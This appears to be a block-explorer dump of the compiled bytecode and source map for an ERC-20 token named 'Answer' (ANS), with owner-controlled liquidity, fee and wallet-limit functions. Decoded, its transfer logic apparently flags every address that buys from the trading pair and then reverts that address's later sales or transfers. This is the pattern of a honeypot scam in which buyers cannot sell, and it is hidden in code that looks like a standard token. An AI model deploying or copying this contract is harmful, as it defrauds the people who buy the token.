c7565b3480156102d757600080fd5b50604051601281526020016101ea565b3480156102f357600080fd5b50610213610302366004611fee565b610be6565b34801561031357600080fd5b506002546102679073ffffffffffffffffffffffffffffffffffffffff1681565b34801561034057600080fd5b5061029d61034f36600461205b565b73ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b34801561038357600080fd5b50610238610c2a565b34801561039857600080fd5b506102386103a736600461207f565b610cfb565b3480156103b857600080fd5b5061026761dead81565b3480156103ce57600080fd5b5061029d60095481565b3480156103e457600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff16610267565b34801561040f57600080fd5b5060408051808201909152600381527f414e53000000000000000000000000000000000000000000000000000000000060208201526101dd565b34801561045557600080fd5b50610213610464366004611fee565b610eb5565b34801561047557600080fd5b50610213610484366004611fee565b610fb8565b34801561049557600080fd5b5061029d60085481565b3480156104ab57600080fd5b506102136104ba36600461205b565b60066020526000908152604090205460ff1681565b3480156104db57600080fd5b506102386104ea36600461207f565b610fc5565b3480156104fb57600080fd5b5061029d61050a3660046120bd565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260046020908152604080832093909416825291909152205490565b34801561054e57600080fd5b5061023861055d36600461205b565b61117f565b34801561056e57600080fd5b50610238611310565b6000610584338484611559565b50600192915050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610639576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e0000000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60075460ff16156106a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f796f752063616e206f6e6c7920616464206c6971756964697479206f6e63652e6044820152606401610630565b600780547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001908117909155546005546106fc91309173ffffffffffffffffffffffffffffffffffffffff90911690611559565b60015473ffffffffffffffffffffffffffffffffffffffff1663f305d71947306107488173ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b6000803360405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107d9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107fe91906120eb565b5050506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610870573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108949190612119565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109419190612119565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff928316600482015291166024820152604401602060405180830381865afa1580156109b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d59190612119565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316179055600554909150606490610a29906003612165565b610a3391906121a2565b600855600554606490610a47906003612165565b610a5191906121a2565b60095573ffffffffffffffffffffffffffffffffffffffff81166000908152600a60209081526040808320805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff009182168117909255600b9093529220805490911682179055610ac49082906116d7565b50565b6000610ad48484846117ea565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600460209081526040808320338452909152902054821115610b94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160448201527f6c6c6f77616e63652e00000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff8416600090815260046020908152604080832033808552925290912054610bdc918691610bd79086906121dd565b611559565b5060019392505050565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091610584918590610bd79086906121f4565b60005473ffffffffffffffffffffffffffffffffffffffff163314610cd1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a60209081526040918290205482518084018452600681527f416e73776572000000000000000000000000000000000000000000000000000081840152925160ff9091161515841515141592610e179290910161220c565b60405160208183030381529060405290610e5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106309190611f7b565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600a6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b33600090815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff86168452909152812054821115610f75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760448201527f207a65726f2e00000000000000000000000000000000000000000000000000006064820152608401610630565b33600081815260046020908152604080832073ffffffffffffffffffffffffffffffffffffffff8816845290915290205461058491908590610bd79086906121dd565b60006105843384846117ea565b60005473ffffffffffffffffffffffffffffffffffffffff16331461106c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600c60209081526040918290205482518084018452600681527f416e73776572000000000000000000000000000000000000000000000000000081840152925160ff90911615158415151415926110e192909101612273565b60405160208183030381529060405290611128576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106309190611f7b565b5073ffffffffffffffffffffffffffffffffffffffff919091166000908152600c6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff163314611226576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff81166112c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573732e000000000000000000000000000000000000000000000000006064820152608401610630565b600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60005473ffffffffffffffffffffffffffffffffffffffff1633146113b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201527f2e000000000000000000000000000000000000000000000000000000000000006064820152608401610630565b60004711611447576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f63616e6e6f742073656e64206d6f7265207468616e20636f6e7472616374206260448201527f616c616e63652e000000000000000000000000000000000000000000000000006064820152608401610630565b47600061146960005473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af1925050503d80600081146114c0576040519150601f19603f3d011682016040523d82523d6000602084013e6114c5565b606091505b5050905080611555576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f6572726f72207769746864726177696e67204554482066726f6d20636f6e747260448201527f6163742e000000000000000000000000000000000000000000000000000000006064820152608401610630565b5050565b73ffffffffffffffffffffffffffffffffffffffff83166115fb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff821661169e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff92831660009081526004602090815260408083209490951682529290925291902055565b73ffffffffffffffffffffffffffffffffffffffff821660009081526006602052604090205481151560ff909116151503611794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603960248201527f6175746f6d61746564206d61726b6574206d616b65722070616972206973206160448201527f6c72656164792073657420746f20746861742076616c75652e000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260066020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b73ffffffffffffffffffffffffffffffffffffffff831661188d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f63616e6e6f74207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573732e00000000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff821661192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f63616e6e6f74207472616e7366657220746f20746865207a65726f206164647260448201527f6573732e000000000000000000000000000000000000000000000000000000006064820152608401610630565b600081116119bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f7472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f2e000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260036020526040902054811115611a74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f63616e6e6f74207472616e73666572206d6f7265207468616e2062616c616e6360448201527f652e0000000000000000000000000000000000000000000000000000000000006064820152608401610630565b60025473ffffffffffffffffffffffffffffffffffffffff8481169116148015611ac4575073ffffffffffffffffffffffffffffffffffffffff82166000908152600b602052604090205460ff16155b80611b1a575060025473ffffffffffffffffffffffffffffffffffffffff8381169116148015611b1a575073ffffffffffffffffffffffffffffffffffffffff83166000908152600b602052604090205460ff16155b15611bb157600954811115611bb1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602860248201527f7472616e7366657220616d6f756e74206578636565647320746865206d61785460448201527f78416d6f756e742e0000000000000000000000000000000000000000000000006064820152608401610630565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600a602052604090205460ff16611ca65760085481611c0e8473ffffffffffffffffffffffffffffffffffffffff1660009081526003602052604090205490565b611c1891906121f4565b1115611ca6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603360248201527f65787065637465642077616c6c657420616d6f756e742065786365656473207460448201527f6865206d617857616c6c6574416d6f756e742e000000000000000000000000006064820152608401610630565b60005473ffffffffffffffffffffffffffffffffffffffff838116911614801590611cec575060005473ffffffffffffffffffffffffffffffffffffffff848116911614155b15611e695760025473ffffffffffffffffffffffffffffffffffffffff90811690841603611d635773ffffffffffffffffffffffffffffffffffffffff82166000908152600d6020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555b60025473ffffffffffffffffffffffffffffffffffffffff90811690831603611db95773ffffffffffffffffffffffffffffffffffffffff83166000908152600d602052604090205460ff1615611db957600080fd5b60025473ffffffffffffffffffffffffffffffffffffffff848116911614801590611dff575060025473ffffffffffffffffffffffffffffffffffffffff838116911614155b15611e695773ffffffffffffffffffffffffffffffffffffffff83166000908152600d602052604090205460ff16158015611e60575073ffffffffffffffffffffffffffffffffffffffff82166000908152600d602052604090205460ff16155b611e6957600080fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526003602052604081208054839290611e9e9084906121dd565b909155505073ffffffffffffffffffffffffffffffffffffffff821660009081526003602052604081208054839290611ed89084906121f4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f3e91815260200190565b60405180910390a3505050565b60005b83811015611f66578181015183820152602001611f4e565b83811115611f75576000848401525b50505050565b6020815260008251806020840152611f9a816040850160208701611f4b565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610ac457600080fd5b6000806040838503121561200157600080fd5b823561200c81611fcc565b946020939093013593505050565b60008060006060848603121561202f57600080fd5b833561203a81611fcc565b9250602084013561204a81611fcc565b929592945050506040919091013590565b60006020828403121561206d57600080fd5b813561207881611fcc565b9392505050565b6000806040838503121561209257600080fd5b823561209d81611fcc565b9150602083013580151581146120b257600080fd5b809150509250929050565b600080604083850312156120d057600080fd5b82356120db81611fcc565b915060208301356120b281611fcc565b60008060006060848603121561210057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561212b57600080fd5b815161207881611fcc565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561219d5761219d612136565b500290565b6000826121d8577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000828210156121ef576121ef612136565b500390565b6000821982111561220757612207612136565b500190565b6000825161221e818460208701611f4b565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d206d61782077616c6c6574206c696d69742e0000000000000000000000006020820152603401919050565b60008251612285818460208701611f4b565b7f3a206163636f756e7420697320616c7265616479206578636c756465642066729201918252507f6f6d20666565732e000000000000000000000000000000000000000000000000602082015260280191905056fea26469706673582212202b9ab8f0d9a620510fe8385c7f40c42e07484e2c841feb6a0de4b1f13ef159fc64736f6c634300080d0033

Deployed Bytecode Sourcemap

2358:7522:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8009:71;;;;;;;;;;-1:-1:-1;8072:5:0;;;;;;;;;;;;;;;;;8009:71;;;;;;;:::i;:::-;;;;;;;;4554:163;;;;;;;;;;-1:-1:-1;4554:163:0;;;;;:::i;:::-;;:::i;:::-;;;1368:14:1;;1361:22;1343:41;;1331:2;1316:18;4554:163:0;1203:187:1;6811:853:0;;;;;;;;;;;;;:::i;:::-;;2403:30;;;;;;;;;;-1:-1:-1;2403:30:0;;;;;;;;;;;1586:42:1;1574:55;;;1556:74;;1544:2;1529:18;2403:30:0;1395:241:1;8252:88:0;;;;;;;;;;-1:-1:-1;8325:12:0;;8252:88;;;1787:25:1;;;1775:2;1760:18;8252:88:0;1641:177:1;4725:375:0;;;;;;;;;;-1:-1:-1;4725:375:0;;;;;:::i;:::-;;:::i;8167:79::-;;;;;;;;;;-1:-1:-1;8167:79:0;;2604:2;2426:36:1;;2414:2;2399:18;8167:79:0;2284:184:1;5108:214:0;;;;;;;;;;-1:-1:-1;5108:214:0;;;;;:::i;:::-;;:::i;2440:28::-;;;;;;;;;;-1:-1:-1;2440:28:0;;;;;;;;8346:104;;;;;;;;;;-1:-1:-1;8346:104:0;;;;;:::i;:::-;8430:17;;8412:7;8430:17;;;:8;:17;;;;;;;8346:104;2072:80;;;;;;;;;;;;;:::i;6231:302::-;;;;;;;;;;-1:-1:-1;6231:302:0;;;;;:::i;:::-;;:::i;3275:79::-;;;;;;;;;;;;3312:42;3275:79;;2976:41;;;;;;;;;;;;;;;;1875:65;;;;;;;;;;-1:-1:-1;1913:7:0;1931:6;;;1875:65;;8086:75;;;;;;;;;;-1:-1:-1;8151:7:0;;;;;;;;;;;;;;;;;8086:75;;5330:340;;;;;;;;;;-1:-1:-1;5330:340:0;;;;;:::i;:::-;;:::i;4377:169::-;;;;;;;;;;-1:-1:-1;4377:169:0;;;;;:::i;:::-;;:::i;2924:45::-;;;;;;;;;;;;;;;;2815:58;;;;;;;;;;-1:-1:-1;2815:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6545:258;;;;;;;;;;-1:-1:-1;6545:258:0;;;;;:::i;:::-;;:::i;8456:131::-;;;;;;;;;;-1:-1:-1;8456:131:0;;;;;:::i;:::-;8557:18;;;;8539:7;8557:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8456:131;2158:193;;;;;;;;;;-1:-1:-1;2158:193:0;;;;;:::i;:::-;;:::i;7672:329::-;;;;;;;;;;;;;:::i;4554:163::-;4631:4;4648:39;1690:10;4671:7;4680:6;4648:8;:39::i;:::-;-1:-1:-1;4705:4:0;4554:163;;;;:::o;6811:853::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3972:2:1;1978:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1978:68:0;;;;;;;;;6877:16:::1;::::0;::::1;;6876:17;6868:62;;;::::0;::::1;::::0;;4374:2:1;6868:62:0::1;::::0;::::1;4356:21:1::0;;;4393:18;;;4386:30;4452:34;4432:18;;;4425:62;4504:18;;6868:62:0::1;4172:356:1::0;6868:62:0::1;6941:16;:23:::0;;;::::1;6960:4;6941:23:::0;;::::1;::::0;;;7007:15;7025:12:::1;::::0;6975:63:::1;::::0;6992:4:::1;::::0;7007:15:::1;::::0;;::::1;::::0;6975:8:::1;:63::i;:::-;7049:15;::::0;::::1;;:31;7088:21;7119:4;7126:24;7119:4:::0;8430:17;;8412:7;8430:17;;;:8;:17;;;;;;;8346:104;7126:24:::1;7152:1;::::0;1690:10;7049:139:::1;::::0;::::1;::::0;;;;;;;4846:42:1;4915:15;;;7049:139:0::1;::::0;::::1;4897:34:1::0;4947:18;;;4940:34;;;;4990:18;;;4983:34;;;;5033:18;;;5026:34;5097:15;;;5076:19;;;5069:44;7172:15:0::1;5129:19:1::0;;;5122:35;4808:19;;7049:139:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7199:22;7233:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7224:43;;;7276:4;7283:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7224:83;::::0;;::::1;::::0;;;;;;5919:42:1;5988:15;;;7224:83:0::1;::::0;::::1;5970:34:1::0;6040:15;;6020:18;;;6013:43;5882:18;;7224:83:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7318:13;:30:::0;;;::::1;;::::0;::::1;;::::0;;7377:12:::1;::::0;7318:30;;-1:-1:-1;7396:3:0::1;::::0;7377:16:::1;::::0;7392:1:::1;7377:16;:::i;:::-;:22;;;;:::i;:::-;7359:15;:40:::0;7431:12:::1;::::0;7450:3:::1;::::0;7431:16:::1;::::0;7446:1:::1;7431:16;:::i;:::-;:22;;;;:::i;:::-;7417:11;:36:::0;7475:45:::1;::::0;::::1;;::::0;;;:29:::1;:45;::::0;;;;;;;:52;;7523:4:::1;7475:52:::0;;;::::1;::::0;::::1;::::0;;;7538:34:::1;:50:::0;;;;;:57;;;;::::1;::::0;::::1;::::0;;7606:50:::1;::::0;7475:45;;7606:28:::1;:50::i;:::-;6857:807;6811:853::o:0;4725:375::-;4824:4;4841:36;4851:6;4859:9;4870:6;4841:9;:36::i;:::-;4906:19;;;;;;;:11;:19;;;;;;;;1690:10;4906:33;;;;;;;;4896:43;;;4888:97;;;;;;;6970:2:1;4888:97:0;;;6952:21:1;7009:2;6989:18;;;6982:30;7048:34;7028:18;;;7021:62;7119:11;7099:18;;;7092:39;7148:19;;4888:97:0;6768:405:1;4888:97:0;5027:19;;;;;;;:11;:19;;;;;;;;1690:10;5027:33;;;;;;;;;4996:74;;5005:6;;5027:42;;5063:6;;5027:42;:::i;:::-;4996:8;:74::i;:::-;-1:-1:-1;5088:4:0;4725:375;;;;;:::o;5108:214::-;1690:10;5198:4;5244:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;5198:4;;5214:78;;5236:7;;5244:47;;5281:10;;5244:47;:::i;2072:80::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3972:2:1;1978:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1978:68:0;3770:397:1;1978:68:0;2147:1:::1;2130:19:::0;;;::::1;::::0;;2072:80::o;6231:302::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3972:2:1;1978:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1978:68:0;3770:397:1;1978:68:0;6336:38:::1;::::0;::::1;;::::0;;;:29:::1;:38;::::0;;;;;;;;;6402:5;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;::::1;::::0;6388:76;;6336:38:::1;::::0;;::::1;:50;;::::0;::::1;;;;::::0;6388:76:::1;::::0;6402:5;;6388:76:::1;;:::i;:::-;;;;;;;;;;;;;6328:137;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6476:38:0::1;::::0;;;::::1;;::::0;;;:29:::1;:38;::::0;;;;:49;;;::::1;::::0;::::1;;::::0;;;::::1;::::0;;6231:302::o;5330:340::-;1690:10;5425:4;5469:25;;;:11;:25;;;;;;;;;:34;;;;;;;;;;5450:53;;;5442:104;;;;;;;8176:2:1;5442:104:0;;;8158:21:1;8215:2;8195:18;;;8188:30;8254:34;8234:18;;;8227:62;8325:8;8305:18;;;8298:36;8351:19;;5442:104:0;7974:402:1;5442:104:0;1690:10;5587:25;;;;:11;:25;;;;;;;;;:34;;;;;;;;;;5557:83;;1690:10;5579:7;;5587:52;;5624:15;;5587:52;:::i;4377:169::-;4457:4;4474:42;1690:10;4498:9;4509:6;4474:9;:42::i;6545:258::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3972:2:1;1978:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1978:68:0;3770:397:1;1978:68:0;6640:27:::1;::::0;::::1;;::::0;;;:18:::1;:27;::::0;;;;;;;;;6695:5;;;;::::1;::::0;;::::1;::::0;;::::1;::::0;;::::1;::::0;6681:64;;6640:27:::1;::::0;;::::1;:39;;::::0;::::1;;;;::::0;6681:64:::1;::::0;6695:5;;6681:64:::1;;:::i;:::-;;;;;;;;;;;;;6632:114;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;6757:27:0::1;::::0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:38;;;::::1;::::0;::::1;;::::0;;;::::1;::::0;;6545:258::o;2158:193::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3972:2:1;1978:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1978:68:0;3770:397:1;1978:68:0;2249:22:::1;::::0;::::1;2241:74;;;::::0;::::1;::::0;;9104:2:1;2241:74:0::1;::::0;::::1;9086:21:1::0;9143:2;9123:18;;;9116:30;9182:34;9162:18;;;9155:62;9253:9;9233:18;;;9226:37;9280:19;;2241:74:0::1;8902:403:1::0;2241:74:0::1;2326:6;:17:::0;;;::::1;;::::0;;;::::1;::::0;;;::::1;::::0;;2158:193::o;7672:329::-;1986:6;;:22;:6;1690:10;1986:22;1978:68;;;;;;;3972:2:1;1978:68:0;;;3954:21:1;4011:2;3991:18;;;3984:30;4050:34;4030:18;;;4023:62;4121:3;4101:18;;;4094:31;4142:19;;1978:68:0;3770:397:1;1978:68:0;7762:1:::1;7738:21;:25;7730:77;;;::::0;::::1;::::0;;9512:2:1;7730:77:0::1;::::0;::::1;9494:21:1::0;9551:2;9531:18;;;9524:30;9590:34;9570:18;;;9563:62;9661:9;9641:18;;;9634:37;9688:19;;7730:77:0::1;9310:403:1::0;7730:77:0::1;7835:21;7818:14;7893:7;1913::::0;1931:6;;;;1875:65;7893:7:::1;7885:21;;7915:6;7885:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7867:59;;;7945:7;7937:56;;;::::0;::::1;::::0;;10130:2:1;7937:56:0::1;::::0;::::1;10112:21:1::0;10169:2;10149:18;;;10142:30;10208:34;10188:18;;;10181:62;10279:6;10259:18;;;10252:34;10303:19;;7937:56:0::1;9928:400:1::0;7937:56:0::1;7719:282;;7672:329::o:0;5678:286::-;5770:19;;;5762:68;;;;;;;10535:2:1;5762:68:0;;;10517:21:1;10574:2;10554:18;;;10547:30;10613:34;10593:18;;;10586:62;10684:6;10664:18;;;10657:34;10708:19;;5762:68:0;10333:400:1;5762:68:0;5849:21;;;5841:68;;;;;;;10940:2:1;5841:68:0;;;10922:21:1;10979:2;10959:18;;;10952:30;11018:34;10998:18;;;10991:62;11089:4;11069:18;;;11062:32;11111:19;;5841:68:0;10738:398:1;5841:68:0;5920:18;;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;5678:286::o;5972:251::-;6063:31;;;;;;;:25;:31;;;;;;:40;;;:31;;;;:40;;;6055:110;;;;;;;11343:2:1;6055:110:0;;;11325:21:1;11382:2;11362:18;;;11355:30;11421:34;11401:18;;;11394:62;11492:27;11472:18;;;11465:55;11537:19;;6055:110:0;11141:421:1;6055:110:0;6176:31;;;;;;;;;:25;:31;;;;;:39;;;;;;;;;;;;;5972:251::o;8595:1282::-;8684:18;;;8676:69;;;;;;;11769:2:1;8676:69:0;;;11751:21:1;11808:2;11788:18;;;11781:30;11847:34;11827:18;;;11820:62;11918:8;11898:18;;;11891:36;11944:19;;8676:69:0;11567:402:1;8676:69:0;8764:16;;;8756:65;;;;;;;12176:2:1;8756:65:0;;;12158:21:1;12215:2;12195:18;;;12188:30;12254:34;12234:18;;;12227:62;12325:6;12305:18;;;12298:34;12349:19;;8756:65:0;11974:400:1;8756:65:0;8849:1;8840:6;:10;8832:65;;;;;;;12581:2:1;8832:65:0;;;12563:21:1;12620:2;12600:18;;;12593:30;12659:34;12639:18;;;12632:62;12730:12;12710:18;;;12703:40;12760:19;;8832:65:0;12379:406:1;8832:65:0;8430:17;;;8412:7;8430:17;;;:8;:17;;;;;;8916:6;:25;;8908:72;;;;;;;12992:2:1;8908:72:0;;;12974:21:1;13031:2;13011:18;;;13004:30;13070:34;13050:18;;;13043:62;13141:4;13121:18;;;13114:32;13163:19;;8908:72:0;12790:398:1;8908:72:0;9004:13;;;8996:21;;;9004:13;;8996:21;:64;;;;-1:-1:-1;9022:38:0;;;;;;;:34;:38;;;;;;;;9021:39;8996:64;8995:153;;;-1:-1:-1;9089:13:0;;;9083:19;;;9089:13;;9083:19;:64;;;;-1:-1:-1;9107:40:0;;;;;;;:34;:40;;;;;;;;9106:41;9083:64;8991:260;;;9183:11;;9173:6;:21;;9165:74;;;;;;;13395:2:1;9165:74:0;;;13377:21:1;13434:2;13414:18;;;13407:30;13473:34;13453:18;;;13446:62;13544:10;13524:18;;;13517:38;13572:19;;9165:74:0;13193:404:1;9165:74:0;9266:33;;;;;;;:29;:33;;;;;;;;9261:174;;9352:15;;9341:6;9325:13;9335:2;8430:17;;8412:7;8430:17;;;:8;:17;;;;;;;8346:104;9325:13;:22;;;;:::i;:::-;9324:43;;9316:107;;;;;;;13804:2:1;9316:107:0;;;13786:21:1;13843:2;13823:18;;;13816:30;13882:34;13862:18;;;13855:62;13953:21;13933:18;;;13926:49;13992:19;;9316:107:0;13602:415:1;9316:107:0;1913:7;1931:6;;9449:13;;;1931:6;;9449:13;;;;:32;;-1:-1:-1;1913:7:0;1931:6;;9466:15;;;1931:6;;9466:15;;9449:32;9445:315;;;9511:13;;;;;;9503:21;;;;9499:49;;9528:10;;;;;;;:6;:10;;;;;:17;;;;9541:4;9528:17;;;9499:49;9580:13;;;;;;9574:19;;;;9570:52;;9606:12;;;;;;;:6;:12;;;;;;;;9605:13;9597:22;;;;;;9657:13;;;9649:21;;;9657:13;;9649:21;;;;:44;;-1:-1:-1;9680:13:0;;;9674:19;;;9680:13;;9674:19;;9649:44;9645:92;;;9706:12;;;;;;;:6;:12;;;;;;;;9705:13;:28;;;;-1:-1:-1;9723:10:0;;;;;;;:6;:10;;;;;;;;9722:11;9705:28;9697:37;;;;;;9770:14;;;;;;;:8;:14;;;;;:24;;9788:6;;9770:14;:24;;9788:6;;9770:24;:::i;:::-;;;;-1:-1:-1;;9805:12:0;;;;;;;:8;:12;;;;;:22;;9821:6;;9805:12;:22;;9821:6;;9805:22;:::i;:::-;;;;;;;;9858:2;9843:26;;9852:4;9843:26;;;9862:6;9843:26;;;;1787:25:1;;1775:2;1760:18;;1641:177;9843:26:0;;;;;;;;8595:1282;;;:::o;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;262:1;253: